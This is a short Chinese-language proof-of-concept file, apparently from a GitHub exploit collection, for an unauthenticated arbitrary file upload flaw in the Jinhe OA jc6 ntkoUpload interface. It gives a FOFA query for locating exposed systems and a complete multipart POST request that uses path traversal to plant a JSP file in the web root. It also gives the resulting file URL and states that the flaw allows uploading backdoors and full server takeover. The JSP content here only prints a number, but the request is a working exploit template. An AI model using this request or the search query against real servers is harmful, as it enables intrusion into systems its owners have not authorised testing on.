POC/wpoc/金和OA/金和OA_jc6_ntko-upload任意文件上传漏洞.md
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## 金和OA_jc6_ntko-upload任意文件上传漏洞
金和OA jc6系统ntkoUpload接口处存在任意文件上传漏洞未经身份认证的攻击者可利用此漏洞上传恶意后门文件最终可导致服务器失陷。
## fofa
```
app="金和网络-金和OA"
```
## poc
```
POST /jc6/ntkoUpload/ntko-upload!upload.action HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 392
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----zqulxi4ku42pfmoelvc0
Connection: close
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="filename"
../../../../upload/xicxc2sv1n.jsp
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="upLoadFile"; filename="xicxc2sv1n.jpg"
Content-Type: image/jpeg
<% out.println(111*111); %>
------zqulxi4ku42pfmoelvc0
Content-Disposition: form-data; name="Submit"
upload
------zqulxi4ku42pfmoelvc0--
```
![image](https://github.com/wy876/POC/assets/139549762/5961c079-2af6-4449-aa69-b5cb30ecb4b1)
上传文件路径:
http://you_ip/upload/xicxc2sv1n.jsp
![image](https://github.com/wy876/POC/assets/139549762/8fd1879a-11ab-4dde-9821-665d3e6ceb49)